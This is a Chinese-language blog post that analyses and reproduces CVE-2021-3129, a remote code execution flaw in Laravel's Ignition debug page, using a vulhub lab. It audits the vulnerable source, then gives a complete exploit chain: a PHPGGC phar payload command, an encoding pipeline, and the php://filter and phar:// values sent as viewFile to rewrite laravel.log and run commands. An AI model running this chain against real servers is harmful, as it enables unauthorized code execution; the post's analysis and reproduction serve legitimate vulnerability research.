Laravel Debug模式 RCE漏洞(CVE-2021-3129)分析复现

复现环境

PHP版本:7.4.15
Laravel版本:8.4.2
Ignition版本:2.5.1
如果环境不好寻找可以直接使用vulhub提供的复现环境:docker pull vulhub/laravel:8.4.2 && docker run -itd -p 80:80 vulhub/laravel:8.4.2

简要分析

Laravel是一个由Taylor Otwell所创建,免费的开源 PHP Web 框架。在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

攻击者可以通过phar://协议来执行Phar反序列化操作,进而执行任意代码。

代码审计

首先定位到漏洞的直接利用点——可以调用含漏洞类MakeViewVariableOptionalSolution的solution控制器中,在vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php中读到:

<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
    use ValidatesRequests;

    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();

        $solution->run($request->get('parameters', []));

        return response('');
    }
}

这里有一个__invoke魔术方法,并且会将get('parameters', [])获得的参数值传递进run()方法中,之后再跟进run()方法。
可以在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php65行附近看到关于run()的定义:

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

可以看到这里存在一个file_put_contents()函数,调用该函数的前提是$output !== false,同时写入内容也是$output,而$output的值又受makeOptional()方法的控制,跟进该方法,在同文件73行可以找到:

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
        //先替换$variableName为$variableName ?? '',再写入文件
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

重点在于

$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

这行代码含义为:先替换$variableName为$variableName ?? '',再将传递的内容写入文件,如果写入过程没有出现异常(参考generateExpectedTokens()中的$expectedTokens变量),文件内容将被覆盖为新的内容(覆盖是由于file_put_contents()的写入性质),否则makeOptional()将返回False,并且不会写入文件。
同时可以注意到,我们在这里通过传参可控的变量有viewFilevariableName,对这里的两个参数最终用途进行简化,我们可以看到两个参数的最终作用效果如下:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

但是实际上这里相当于将$parameters['viewFile']的值又一次写入了$parameters['viewFile'],看上去并没有任何作用。
这个时候就引出了我很感兴趣的一种利用方式:利用框架本身的log日志文件(/storage/logs/laravel.log)来触发Phar反序列化,从而使这两行代码存在了利用的价值。
先决条件在于这里的file_get_contents()可以触发phar反序列化,同时file_put_contents()的写入功能确保了可以写入phar包内容来进行反序列化,进而达到RCE的目的。
因而我们可以通过寻找Laravel中可以用于执行命令的pop链来实现RCE,通过PHPGGC我们可以找到框架中可以RCE的类:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output
但是仅此仍然不够,log文件写入时会拼接如时间、路径等多余的字符串,像是这样:

[2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
#1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
#2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional(Array)
#3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run(Array)
#4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\SolutionProviders\\SolutionProviderRepository))
#5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController), '__invoke')
#6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\\Routing\\Route->runController()
...
#34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
#37 {main}
"}

而Phar包是二进制文件,对其文件格式有着严格的要求,直接写入并包含log日志会导致phar包格式非法,从而无法触发反序列化。
漏洞作者提出了利用php://filter协议的过滤器来对文件内容进行编码,利用编码非法字符导致返回空值的特性来清除掉非法字符。
首先受启于P牛的谈一谈php://filter的妙用,我们可以多次convert.base64-decode编码来清除掉多余字符,得益于convert.base64-decode 过滤器会将一些非base64字符给过滤掉后再进行 decode
但是用在此处的弊端也显而易见,首先我们不清楚清除所有多余字符需要编码的次数,不同于绕过死亡exit时只需将exit部分代码解码为乱码,在这里我们的利用条件是需要清除字符,其次如果使用base64-decode过滤器过滤中间包含=的字符串,PHP 将产生错误并且不返回任何内容。
因而我们需要转向使用其他的过滤器来进行编码解码,这里作者提出使用convert.iconv.utf-8.utf-16be来将UTF-8的编码转换为UTF-16编码,从而使文件的原内容出现乱码,同时这里也会带来一个新的问题——出现空字节内容,使file_get_contents()抛出一个Warning,不过我们可以再使用convert.quoted-printable-decode过滤器来解码不可见字符,只需要我们使用=00来表示空字节内容再次传入即可。
因而我们可以构造出清空并写入Payload的exp:

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=FILE

前面两个过滤器用于写入和产生非法字符,而base64过滤器再清除掉非法字符,而我们只需要对Payload内容进行对应的编码即可完成写入。

漏洞利用

1.创建一个 PHPGGC 负载并对其进行编码:

php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'

2.清空日志内容:

POST发送

viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log

3.创建第一条日志内容,用于编码对齐:

viewFile: AA

4.创建Payload写入日志:

palyoad为第一步获取到的内容

viewFile: <PAYLOAD>

5.使用过滤器将日志转换为有效的Phar包:

清空其余字符并将payload解码为原内容,注意log日志路径可能需要修改

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=./storage/logs/laravel.log

6.触发Phar反序列化:

viewFile: phar://./storage/logs/laravel.log

至此便完成了一次Phar反序列化到RCE的攻击过程,其中的许多思路都值得借鉴学习。

参考链接

Laravel <= v8.4.2 debug mode: Remote code execution
Laravel Debug页面RCE(CVE-2021-3129)分析复现

posted @ 2021-08-14 02:09  Ye'sBlog  阅读(2228)  评论(0编辑  收藏  举报